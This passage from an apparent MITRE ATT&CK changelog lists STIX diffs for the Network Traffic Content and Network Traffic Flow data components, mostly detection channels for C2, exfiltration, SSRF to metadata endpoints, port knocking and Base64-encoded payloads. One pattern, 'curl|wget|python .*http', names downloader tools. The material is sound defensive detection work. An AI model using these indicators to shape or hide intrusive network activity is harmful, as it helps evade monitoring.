tunnels.api.visualstudio.com'}, {'name': 'NSM:Flow', 'channel': 'HTTPs connection to tunnels.api.visualstudio.com'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5156'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5156,5157'}, {'name': 'linux:osquery', 'channel': 'family=AF_PACKET or protocol raw; process name not in allowlist.'}, {'name': 'macos:unifiedlog', 'channel': 'First outbound connection from the same PID/user shortly after an inbound trigger.'}, {'name': 'NSM:Flow', 'channel': 'Outbound or inbound TFTP file transfers of ROMMON or firmware binaries'}, {'name': 'NSM:Connections', 'channel': 'Outbound connections from newly spawned child processes or from the browser to uncommon endpoints or on anomalous ports'}, {'name': 'NSM:Flow', 'channel': 'connection: TCP connections to ports 139/445 to multiple hosts'}, {'name': 'NSM:Flow', 'channel': 'connection: SMB connections to multiple internal hosts'}, {'name': 'auditd:SYSCALL', 'channel': 'connect/sendto'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_CONNECT'}, {'name': 'snmp:access', 'channel': 'GETBULK/GETNEXT requests for OIDs associated with configuration parameters'}, {'name': 'esxi:hostd', 'channel': 'Service initiated connections'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large transfer volume (>20MB) from RDS IP range to external public IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'High outbound traffic from new region resource'}, {'name': 'NSM:Flow', 'channel': 'Outbound HTTP/S initiated by newly installed interpreter process'}, {'name': 'auditd:SYSCALL', 'channel': 'open or connect syscalls on /tmp/ssh-* or $SSH_AUTH_SOCK'}, {'name': 'NSM:Flow', 'channel': 'outbound connections to RMM services or to unusual destination ports'}, {'name': 'macos:unifiedlog', 'channel': 'network sessions initiated by remote desktop apps'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound connections to port 22, 3389'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect with TLS context by unexpected process'}, {'name': 'NSM:Flow', 'channel': "Multiple failed connections (conn_state=REJ/S0 or history has 'R') across distinct ports from the same src_ip followed by success to a specific port."}, {'name': 'auditd:SYSCALL', 'channel': 'socket/bind: New bind() to a previously closed port shortly after the sequence.'}, {'name': 'NSM:Flow', 'channel': 'Sequence of REJ/S0 then SF success from same src_ip within TimeWindow.'}, {'name': 'NSM:Flow', 'channel': 'Series of denied/closed flows to distinct ports then success to mgmt port from same src_ip within TimeWindow.'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic spike through formerly blocked ports/subnets following config change'}, {'name': 'cni:netflow', 'channel': 'outbound connection to internal or external APIs'}, {'name': 'macos:osquery', 'channel': 'launchd or network_events'}, {'name': 'networkdevice:syslog', 'channel': 'Dynamic route changes'}, {'name': 'NSM:Flow', 'channel': 'New egress to Internet by the same UID/host shortly after terminal exec'}, {'name': 'NSM:Flow', 'channel': 'connection: Inbound connections to SSH or VPN ports'}, {'name': 'macos:unifiedlog', 'channel': 'Inbound connections to VNC/SSH ports'}, {'name': 'NSM:Flow', 'channel': 'External access to container ports (2375, 6443)'}, {'name': 'linux:syslog', 'channel': 'network'}, {'name': 'macos:osquery', 'channel': 'process_events + launchd'}, {'name': 'esxi:esxupdate', 'channel': '/var/log/esxupdate.log or /var/log/vmksummary.log'}, {'name': 'ebpf:syscalls', 'channel': 'socket connect'}, {'name': 'NSM:Flow', 'channel': 'remote access'}, {'name': 'NSM:Flow', 'channel': 'Outbound Connections'}, {'name': 'macos:unifiedlog', 'channel': 'network'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Traffic observed on mirror destination instance'}, {'name': 'networkdevice:Flow', 'channel': 'Traffic from mirrored interface to mirror target IP'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=3'}, {'name': 'macos:osquery', 'channel': 'process_events, socket_events'}, {'name': 'esxi:vmkernel', 'channel': 'network activity'}, {'name': 'NSM:Flow', 'channel': 'connection attempts'}, {'name': 'NSM:Flow', 'channel': 'High-volume or repeated SNMP GETBULK/GETNEXT queries from untrusted or external IPs'}, {'name': 'auditd:SYSCALL', 'channel': 'sendto/connect'}, {'name': 'NSM:Flow', 'channel': 'outbound connections from host during or immediately after image build'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound Traffic'}, {'name': 'esxi:hostd', 'channel': 'Service-Based Network Connection'}, {'name': 'linux:syslog', 'channel': 'postfix/smtpd'}, {'name': 'NSM:Flow', 'channel': 'new outbound connection from browser/office lineage'}, {'name': 'NSM:Flow', 'channel': 'new outbound connection from exploited lineage'}, {'name': 'macos:osquery', 'channel': 'CONNECT: Long-lived connections from remote-control parents to external IPs/domains'}, {'name': 'auditd:SYSCALL', 'channel': 'outbound connections'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'esxi:vmkernel', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'networkd or socket'}, {'name': 'macos:unifiedlog', 'channel': 'log stream network activity'}, {'name': 'NSM:Flow', 'channel': "Multiple failed connections to closed ports (history contains 'R' or conn_state in {REJ, S0}) followed by a successful handshake to a new port from same src within TimeWindowKnock"}, {'name': 'auditd:SYSCALL', 'channel': 'socket/bind: Process binds to a new local port shortly after knock'}, {'name': 'NSM:Flow', 'channel': 'Closed-port hits followed by success from same src_ip'}, {'name': 'NSM:Flow', 'channel': 'Port-knock pattern from one src to device unicast,broadcast,network addresses on same port within TimeWindowKnock'}, {'name': 'WinEventLog:Microsoft-Windows-WLAN-AutoConfig', 'channel': '8001, 8002, 8003'}, {'name': 'linux:syslog', 'channel': 'New Wi-Fi connection established or repeated association failures'}, {'name': 'macos:unifiedlog', 'channel': 'Association and authentication events including failures and new SSIDs'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect calls showing SSH processes forwarding arbitrary ports'}, {'name': 'esxi:vmkernel', 'channel': 'network session initiation with external HTTPS services'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=8001'}, {'name': 'linux:syslog', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'openat,connect -k discovery'}, {'name': 'NSM:Flow', 'channel': 'Unexpected inbound/outbound TFTP traffic for device image files'}, {'name': 'NSM:Flow', 'channel': 'Unexpected or unauthorized inbound connections to SNMP, NETCONF, or RESTCONF services'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:23.639000+00:002025-10-21 15:14:34.190000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.22.0

[DC0085] Network Traffic Content

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0085', 'external_id': 'DC0085'}]
x_mitre_log_sources[{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'ebpf:syscalls', 'channel': 'Process within container accesses link-local address 169.254.169.254'}, {'name': 'WebProxy:AccessLogs', 'channel': 'SSRF-like patterns accessing metadata endpoint through proxy (e.g., Host: 169.254.169.254)'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log / xmpp.log (custom log feeds)'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log or AMQP custom log'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log, xmpp.log, amqp.log'}, {'name': 'networkdevice:syslog', 'channel': 'ACL/Firewall rule modification or new route injection'}, {'name': 'm365:office', 'channel': 'External HTTP/DNS connection from Office binary shortly after macro trigger'}, {'name': 'NSM:Flow', 'channel': 'TCP/UDP'}, {'name': 'NSM:Flow', 'channel': 'TCP session tracking'}, {'name': 'NSM:Flow', 'channel': 'Captured packet payloads'}, {'name': 'NSM:Flow', 'channel': 'session behavior'}, {'name': 'esxi:vmkernel', 'channel': 'Network activity'}, {'name': 'NSM:Flow', 'channel': 'External C2 channel over TLS'}, {'name': 'NSM:Flow', 'channel': 'http/file-xfer: Inbound/outbound transfer of ELF shared objects'}, {'name': 'NSM:Flow', 'channel': 'http.log, files.log'}, {'name': 'NSM:Flow', 'channel': 'unexpected network activity initiated shortly after shell session starts'}, {'name': 'NSM:Flow', 'channel': 'HTTP/WebDAV requests that contain NTLMSSP or PROPFIND/MOVE/OPTIONS with Authorization: NTLM'}, {'name': 'NSM:Flow', 'channel': 'http.log, ssl.log'}, {'name': 'NSM:Flow', 'channel': 'http.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'SPAN or port-mirrored HTTP/S'}, {'name': 'NSM:Flow', 'channel': 'http.log, ssl.log, websocket.log'}, {'name': 'macos:unifiedlog', 'channel': 'process + network metrics correlation for bandwidth saturation'}, {'name': 'docker:stats', 'channel': 'unusual network TX/RX byte deltas'}, {'name': 'etw:Microsoft-Windows-WinINet', 'channel': 'HTTPS Inspection'}, {'name': 'NSM:Flow', 'channel': 'ssl.log'}, {'name': 'linux:syslog', 'channel': 'Query to suspicious domain with high entropy or low reputation'}, {'name': 'macos:unifiedlog', 'channel': 'DNS query with pseudo-random subdomain patterns'}, {'name': 'azure:vpcflow', 'channel': 'HTTP requests to 169.254.169.254 or Azure Metadata endpoints'}, {'name': 'NSM:Flow', 'channel': 'Browser connections to known C2 or dynamic DNS domains'}, {'name': 'NSM:Flow', 'channel': 'Session History Reset'}, {'name': 'NSM:Flow', 'channel': 'HTTP '}, {'name': 'macos:unifiedlog', 'channel': 'network flow'}, {'name': 'linux:syslog', 'channel': 'curl|wget|python .*http'}, {'name': 'macos:unifiedlog', 'channel': 'curl|osascript.*open location'}, {'name': 'NSM:Flow', 'channel': 'query: High-volume LDAP traffic with filters targeting groupPolicyContainer attributes'}, {'name': 'etw:Microsoft-Windows-NDIS-PacketCapture', 'channel': 'TLS Handshake/Network Flow'}, {'name': 'NSM:Flow', 'channel': 'HTTP/TLS Logs'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem: com.apple.network'}, {'name': 'linux:syslog', 'channel': 'Unexpected SQL or application log entries showing tampered or malformed data'}, {'name': 'EDR:hunting', 'channel': 'Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents'}, {'name': 'NSM:Flow', 'channel': 'Suspicious URL patterns, uncommon TLDs, short-lived domains, URL shorteners; HTTP method GET/POST'}, {'name': 'NSM:Flow', 'channel': 'Suspicious URL patterns, uncommon TLDs, URL shorteners'}, {'name': 'macos:unifiedlog', 'channel': 'open URL|clicked link|LSQuarantineAttach'}, {'name': 'NSM:Flow', 'channel': 'Suspicious GET/POST; downloader patterns'}, {'name': 'NSM:Flow', 'channel': 'SSH logins or scp activity'}, {'name': 'NSM:Flow', 'channel': 'remote login and transfer'}, {'name': 'esxi:vob', 'channel': 'NFS/remote access logs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Traffic between instances'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=5005 (WLAN), EventCode=302 (Bluetooth)'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Suspicious long-lived or reattached remote desktop sessions from unexpected IPs'}, {'name': 'NSM:Flow', 'channel': 'HTTP payloads with SQLi/LFI/JNDI/deserialization indicators'}, {'name': 'NSM:Flow', 'channel': 'outbound egress from web host after suspicious request'}, {'name': 'NSM:Flow', 'channel': 'Requests towards cloud metadata or command & control from pod IPs'}, {'name': 'ALB:HTTPLogs', 'channel': 'AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts'}, {'name': 'NSM:Flow', 'channel': 'Connections to TCP 427 (SLP) or vCenter web services from untrusted sources'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/sFlow for odd egress to Internet from mgmt plane'}, {'name': 'NSM:Flow', 'channel': 'packet capture or DPI logs'}, {'name': 'NSM:Flow', 'channel': 'http.log'}, {'name': 'NSM:Flow', 'channel': 'SMB2_LOGOFF/SMB_TREE_DISCONNECT'}, {'name': 'macos:unifiedlog', 'channel': 'Connections to suspicious domains with mismatched certificate or unusual patterns'}, {'name': 'NSM:Flow', 'channel': 'Unusual Base64-encoded content in URI, headers, or POST body'}, {'name': 'NSM:Flow', 'channel': 'Base64 strings or gzip in URI, headers, or POST body'}, {'name': 'macos:unifiedlog', 'channel': 'HTTP POST with encoded content in user-agent or cookie field'}, {'name': 'esxi:vmkernel', 'channel': 'Outbound traffic using encoded payloads post-login'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious outbound HTTPS requests to domains flagged as newly registered or untrusted after spearphishing message interaction'}, {'name': 'NSM:Flow', 'channel': 'Inbound connections to 445, 3389, 5985-5986 with high error/connection-reset rate, followed by new outbound sessions from the same host to internal assets within short interval.'}, {'name': 'NSM:Flow', 'channel': 'Inbound connections to monitored service ports from external or unusual internal sources; rapid follow-on lateral connections from the same host.'}, {'name': 'NSM:Flow', 'channel': 'Inbound to tcp/427 (OpenSLP), tcp/443 (vSphere APIs), tcp/902, tcp/5989 followed by new unexpected outbound sessions from the ESXi/vCenter host.'}, {'name': 'NSM:Flow', 'channel': 'Inbound to 22/5900/8080 and follow-on internal connections.'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP body or headers contain long Base64 sections; gzip/deflate + Base64'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP body contains long Base64 sections'}, {'name': 'NSM:Flow', 'channel': 'http: Base64/MIME looking payloads from ESXi host IP'}, {'name': 'NSM:Flow', 'channel': 'LDAP Bind/Search'}, {'name': 'NSM:Flow', 'channel': 'LDAP Query'}, {'name': 'macos:unifiedlog', 'channel': 'log stream (subsystem: com.apple.system.networking)'}, {'name': 'NSM:Flow', 'channel': 'smtp.log'}, {'name': 'NSM:Flow', 'channel': 'smtp.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'remote CLI session detection'}, {'name': 'macos:unifiedlog', 'channel': 'Encrypted connection with anomalous payload entropy'}, {'name': 'esxcli:network', 'channel': 'Socket sessions with randomized payloads inconsistent with TLS'}, {'name': 'NSM:Connections', 'channel': 'Symmetric encryption detected without TLS handshake sequence'}, {'name': 'NSM:Flow', 'channel': 'http.log, ftp.log'}, {'name': 'NSM:Flow', 'channel': 'PCAP inspection'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS POST requests to webhook endpoints'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS POST connections to webhook endpoints'}, {'name': 'NSM:Flow', 'channel': 'Single, low-volume inbound packet (REJ/S0/OTH or uncommon dport/protocol) from src_ip followed by outbound SF connection to src_ip.'}, {'name': 'NSM:Flow', 'channel': 'Rare inbound packet characteristics (ICMP/UDP/TCP to uncommon port) from src_ip followed ≤TimeWindow by outbound SF from same host to src_ip.'}, {'name': 'NSM:Flow', 'channel': 'Inbound one-off packet to uncommon port → outbound SF to same src_ip within TimeWindow.'}, {'name': 'networkdevice:config', 'channel': 'NAT table modification (add/update/delete rule)'}, {'name': 'NSM:Flow', 'channel': 'large upload to firmware interface port or path'}, {'name': 'macos:unifiedlog', 'channel': 'Rapid incoming TLS handshakes or HTTP requests in quick succession'}, {'name': 'NSM:Flow', 'channel': 'http.request: HTTP requests and responses for specific script resources, unexpected content-types (application/octet-stream for script URLs), suspicious referrers, or obfuscated javascript resources'}, {'name': 'NSM:Flow', 'channel': 'http::response: HTTP responses with suspicious content-type for scripts, long obfuscated javascript bodies, or redirects to exploit kit domains'}, {'name': 'NSM:Flow', 'channel': 'HTTP/HTTPS requests for script resources flagged by content inspection (excessive obfuscation, eval usage, unusual redirects)'}, {'name': 'NSM:Connections', 'channel': 'TLS handshake + HTTP headers'}, {'name': 'NSM:Flow', 'channel': 'ssl.log + http.log'}, {'name': 'macos:unifiedlog', 'channel': 'network, socket, and http logs'}, {'name': 'NSM:Firewall', 'channel': 'TLS/HTTP inspection'}, {'name': 'NSM:Flow', 'channel': 'http/file-xfer: Outbound transfer of large video-like MIME types soon after capture'}, {'name': 'container:proxy', 'channel': 'outbound/inbound network activity from spawned pods'}, {'name': 'esxcli:network', 'channel': 'listening sockets bound to non-standard ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound SCP, TFTP, or FTP sessions carrying configuration file content'}, {'name': 'NSM:Flow', 'channel': 'Session Transfer Content'}, {'name': 'NSM:Flow', 'channel': 'Captured File Content'}, {'name': 'NSM:Flow', 'channel': 'C2 exfiltration'}, {'name': 'NSM:Flow', 'channel': 'Transferred file observations'}, {'name': 'apache:access_log', 'channel': "Unusual HTTP POST or PUT requests to paths such as '/uploads/', '/admin/', or CMS plugin folders"}, {'name': 'NSM:Flow', 'channel': 'http::post: Outbound HTTP POST from host shortly after DB export activity'}, {'name': 'NSM:Flow', 'channel': 'HTTPS API requests to Dropbox, iCloud, Google Drive, OneDrive shortly after DB tool usage'}, {'name': 'NSM:Flow', 'channel': 'Observed downgrade in negotiated cipher suites or TLS/SSH versions across sessions'}, {'name': 'NSM:Flow', 'channel': 'New egress from container IP/namespace to Internet or non-approved CIDRs/ASNs'}, {'name': 'NSM:Flow', 'channel': 'New VM egress to crypto-mining pools or non-approved Internet ranges within minutes of boot'}, {'name': 'docker:events', 'channel': 'remote API calls to /containers/create or /containers/{id}/start'}, {'name': 'NSM:Flow', 'channel': 'http::request: Network connection to package registry or C2 from interpreter shortly after install'}, {'name': 'linux:syslog', 'channel': 'Integrity mismatch warnings or malformed packets detected'}, {'name': 'NSM:Flow', 'channel': 'http::request: Outbound HTTP initiated by Python interpreter'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Outbound requests with forged tokens/cookies in headers'}, {'name': 'linux:syslog', 'channel': 'DNS response IPs followed by connections to non-standard calculated ports'}, {'name': 'macos:unifiedlog', 'channel': 'DNS responses followed by connections to ports outside standard ranges'}, {'name': 'macos:unifiedlog', 'channel': 'Persistent outbound traffic to mining domains'}, {'name': 'macos:unifiedlog', 'channel': 'Encrypted session initiation by unexpected binary'}, {'name': 'esxi:vmkernel', 'channel': 'Inspection of sockets showing encrypted sessions from non-baseline processes'}, {'name': 'NSM:Connections', 'channel': 'Abnormal certificate chains or non-standard ports carrying TLS'}, {'name': 'NSM:Flow', 'channel': 'DrsAddEntry, DrsReplicaAdd, GetNCChanges calls between non-DC and DCs.'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS POST requests to text storage domains'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS POST connections to pastebin-like domains'}, {'name': 'NSM:Flow', 'channel': 'Unexpected ARP replies or DNS responses inconsistent with authoritative servers'}, {'name': 'NSM:Flow', 'channel': 'TLS downgrade or inconsistent DNS answers'}, {'name': 'NSM:Flow', 'channel': 'Unusual request pattern leading up to service crash (e.g., malformed or oversized payload)'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large volume of malformed or synthetic payloads to application endpoints prior to failure'}, {'name': 'networkconfig ', 'channel': 'interface flag PROMISC, netstat | ip link | ethtool'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage = 'promiscuous'"}, {'name': 'networkdevice:syslog', 'channel': 'config change (e.g., logging buffered, pcap buffers)'}, {'name': 'macos:unifiedlog', 'channel': 'outbound HTTPS connections to code repository APIs'}, {'name': 'azure:activity', 'channel': 'networkInsightsLogs'}, {'name': 'gcp:audit', 'channel': 'network.query*'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Defender/Operational', 'channel': 'Unusual external domain access'}, {'name': 'NSM:Flow', 'channel': 'conn.log or http.log'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP bodies/headers contain long tokens with non-standard alphabets or constant-size periodic POSTs'}, {'name': 'NSM:Flow', 'channel': 'dns: DNS labels with excessive length and restricted custom alphabets (e.g., base36 only) repeated frequently'}, {'name': 'NSM:Flow', 'channel': 'http: suspicious long tokens with custom alphabets in body/headers'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP bodies from ESXi host IPs containing long, non-standard tokens'}, {'name': 'NSM:Flow', 'channel': 'Traffic patterns showing downgrade from strong encryption (AES-256) to weaker or plaintext protocols'}, {'name': 'NSM:Flow', 'channel': 'HTTP(S) requests with User-Agents typical of PowerShell or curl from desktop; or URIs matching paste-inspired payload hosts'}, {'name': 'NSM:Flow', 'channel': 'Egress to non-approved networks from host after terminal exec'}, {'name': 'NSM:Flow', 'channel': 'Flow/PCAP analysis for outbound payloads'}, {'name': 'NSM:Flow', 'channel': 'conn.log + files.log + ssl.log'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage = 'open', 'sendto', 'connect'"}, {'name': 'NSM:Flow', 'channel': 'HTTPS or custom protocol traffic with large payloads'}, {'name': 'esxi:vmkernel', 'channel': 'network stack module logs'}, {'name': 'NSM:Flow', 'channel': 'Unexpected script or binary content returned in HTTP response body'}, {'name': 'NSM:Flow', 'channel': 'Injected content responses with unexpected script/malware signatures'}, {'name': 'NSM:Flow', 'channel': 'Content injection observed in HTTPS responses with mismatched certificates or altered payloads'}, {'name': 'NSM:Firewall', 'channel': 'High rate of inbound TCP SYN or ACK packets with missing 3-way handshake completion'}, {'name': 'NSM:Firewall', 'channel': 'Anomalous TCP SYN or ACK spikes from specific source or interface'}, {'name': 'saas:confluence', 'channel': 'REST API access from non-browser agents'}, {'name': 'Netfilter/iptables', 'channel': 'Forwarded packets log'}, {'name': 'NSM:Flow', 'channel': 'Relay patterns across IP hops'}, {'name': 'NSM:Firewall', 'channel': 'Outbound encrypted traffic'}, {'name': 'NSM:Flow', 'channel': 'ldap.log'}, {'name': 'macos:unifiedlog', 'channel': 'dns-sd, mDNSResponder, socket activity'}, {'name': 'networkdevice:IDS', 'channel': 'content inspection / PCAP / HTTP body'}, {'name': 'NSM:Flow', 'channel': 'Probe responses from unauthorized APs responding to client probe requests'}, {'name': 'auditd:SYSCALL', 'channel': 'setsockopt, ioctl modifying ARP entries'}, {'name': 'NSM:Flow', 'channel': 'Excessive gratuitous ARP replies on local subnet'}, {'name': 'NSM:Flow', 'channel': 'Inbound HTTP POST with suspicious payload size or user-agent'}, {'name': 'NSM:Flow', 'channel': 'POST requests to .php, .jsp, .aspx files with high entropy body'}, {'name': 'NSM:Flow', 'channel': 'dns.log'}, {'name': 'NSM:FLow', 'channel': 'dns.log'}, {'name': 'NSM:Flow', 'channel': 'Encrypted tunnels or proxy traffic to non-standard destinations'}, {'name': 'esxi:vmkernel', 'channel': 'Suspicious traffic filtered or redirected by VM networking stack'}, {'name': 'NSM:Flow', 'channel': 'large transfer from management IPs to unauthorized host'}, {'name': 'NSM:Flow', 'channel': 'Sustained abnormal inbound request rate targeting application ports (e.g., 80/443/25)'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, smb_files.log'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'mirror/SPAN port'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, conn.log, smb_files.log'}, {'name': 'linux:syslog', 'channel': 'Multiple NXDOMAIN responses and high entropy domains'}, {'name': 'NSM:Flow', 'channel': 'SSL/TLS Inspection or PCAP'}, {'name': 'NSM:Flow', 'channel': 'conn.log, ssl.log'}, {'name': 'macos:unifiedlog', 'channel': 'process + network activity'}, {'name': 'NSM:Flow', 'channel': 'http, dns, smb, ssl logs'}, {'name': 'NSM:Flow', 'channel': 'dns, ssl, conn'}, {'name': 'NSM:Flow', 'channel': 'conn.log, http.log, dns.log, ssl.log'}, {'name': 'networkdevice:syslog', 'channel': 'Authentication failures, unexpected community string usage, or unauthorized SNMPv1/v2 requests'}, {'name': 'NSM:Flow', 'channel': 'ICMP/UDP traffic (Wireshark, Suricata, Zeek)'}, {'name': 'NSM:Flow', 'channel': 'icmp.log, weird.log'}, {'name': 'NSM:Flow', 'channel': 'ICMP/UDP monitoring (tcpdump, Wireshark, Zeek)'}, {'name': 'esxi:vmkernel', 'channel': 'VMCI syslog entries'}, {'name': 'NSM:Firewall', 'channel': 'ICMP/UDP protocol anomaly'}, {'name': 'NSM:Flow', 'channel': 'Unusual responses to LLMNR (UDP 5355) or NBT-NS (UDP 137) queries from unauthorized hosts'}, {'name': 'NSM:Flow', 'channel': 'DHCP OFFER or ACK with unauthorized DNS/gateway parameters'}, {'name': 'NSM:Flow', 'channel': 'Multiple DHCP OFFER responses for a single DISCOVER'}, {'name': 'NSM:Flow', 'channel': 'SSL/TLS Handshake Analysis'}, {'name': 'NSM:Flow', 'channel': 'HTTP Header Metadata'}, {'name': 'NSM:Flow', 'channel': 'Network Capture TLS/HTTP'}, {'name': 'NSM:Content', 'channel': 'SSL Certificate Metadata'}, {'name': 'NSM:Content', 'channel': 'HTTP Header Metadata'}, {'name': 'NSM:Content', 'channel': 'TLS Fingerprint and Certificate Analysis'}, {'name': 'NSM:Flow', 'channel': 'container egress to unknown IPs/domains'}, {'name': 'gcp:vpcflow', 'channel': 'first 5m egress to unknown ASNs'}, {'name': 'NSM:Flow', 'channel': 'HTTP Request Logging'}, {'name': 'WinEventLog:iis', 'channel': 'IIS Logs'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.WebKit'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Unusual volume of data transferred from S3 storage endpoints to non-corporate IPs'}, {'name': 'NSM:Flow', 'channel': 'ssh connections originating from third-party CIDRs'}, {'name': 'NSM:Flow', 'channel': 'ssh/smb connections to internal resources from third-party devices'}, {'name': 'NSM:Flow', 'channel': 'Degraded encryption throughput or switch to weaker cipher suites compared to historical baselines'}, {'name': 'NSM:Flow', 'channel': 'ssl.log (for TLS handshake analysis), dns.log (tunneling indicators)'}, {'name': 'NSM:Flow', 'channel': 'host switch egress data'}, {'name': 'NSM:Flow', 'channel': 'Outbound HTTP/S'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem: com.apple.WebKit or com.apple.WebKit.Networking'}, {'name': 'NSM:Flow', 'channel': 'ssl.log - Certificate Analysis'}, {'name': 'NSM:Flow', 'channel': 'ssl.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'ssl.log, x509.log'}, {'name': 'NSM:Flow', 'channel': 'Packets with unusual flags or payloads outside established flows (e.g., WoL magic FF×6 + 16×MAC)'}, {'name': 'WIDS:AssociationLogs', 'channel': 'Unauthorized AP or anomalous MAC address connection attempts'}, {'name': 'macos:unifiedlog', 'channel': 'encrypted outbound traffic carrying unexpected application data'}, {'name': 'esxcli:network', 'channel': 'listening sockets bound with non-standard encapsulated protocols'}, {'name': 'macos:unifiedlog', 'channel': 'Persistent outbound connections with consistent periodicity'}, {'name': 'macos:unifiedlog', 'channel': 'TLS connections with abnormal handshake sequence or self-signed cert'}, {'name': 'esxcli:network', 'channel': 'Socket inspection showing RSA key exchange outside baseline endpoints'}, {'name': 'IDS:TLSInspection', 'channel': 'Malformed certs, incomplete asymmetric handshakes, or invalid CAs'}, {'name': 'macos:unifiedlog', 'channel': 'Web server process initiating outbound TCP connections not tied to normal server traffic'}, {'name': 'macos:unifiedlog', 'channel': 'outbound TLS connections to cloud storage providers'}, {'name': 'saas:box', 'channel': 'API calls exceeding baseline thresholds'}, {'name': 'macos:unifiedlog', 'channel': 'outbound HTTPS connections to cloud storage APIs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'High volume internal-to-internal IP transfer or cross-account cloud transfer'}, {'name': 'etw:Microsoft-Windows-WinINet', 'channel': 'WinINet API telemetry'}, {'name': 'macos:unifiedlog', 'channel': 'process, network'}, {'name': 'NSM:Connections', 'channel': 'Unusual POST requests to admin or upload endpoints'}, {'name': 'NSM:Flow', 'channel': 'Suspicious POSTs to upload endpoints'}, {'name': 'networkdevice:syslog', 'channel': 'Authentication failures or unusual community string usage in SNMP queries'}, {'name': 'API:ConfigRepoAudit', 'channel': 'Access to configuration repository endpoints, unusual enumeration requests or mass downloads'}, {'name': 'NSM:Content', 'channel': 'Traffic on RPC DRSUAPI'}, {'name': 'macos:unifiedlog', 'channel': "process = 'ssh' OR eventMessage CONTAINS 'ssh'"}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:16.672000+00:002025-10-21 15:14:34.343000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0078] Network Traffic Flow

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0078', 'external_id': 'DC0078'}]
x_mitre_log_sources[{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'socket_events'}, {'name': 'NSM:Flow', 'channel': 'Unexpected flows between segmented networks or prohibited ports'}, {'name': 'snmp:config', 'channel': 'Configuration change traps or policy enforcement failures'}, {'name': 'NSM:Flow', 'channel': 'First-time outbound connections to package registries or unknown hosts immediately after restore/build'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to new registries/CDNs post-install/build'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to non-approved registries after dependency install'}, {'name': 'NSM:Flow', 'channel': 'Outbound connections to TCP 139,445 and HTTP/HTTPS to WebDAV endpoints from workstation subnets'}, {'name': 'NSM:Flow', 'channel': 'large outbound data flows or long-duration connections'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'egress > 90th percentile or frequent connection reuse'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect'}, {'name': 'esxi:syslog', 'channel': 'esxcli network vswitch or DNS resolver configuration updates'}, {'name': 'esxi:vobd', 'channel': 'Network Events'}, {'name': 'iptables:LOG', 'channel': 'TCP 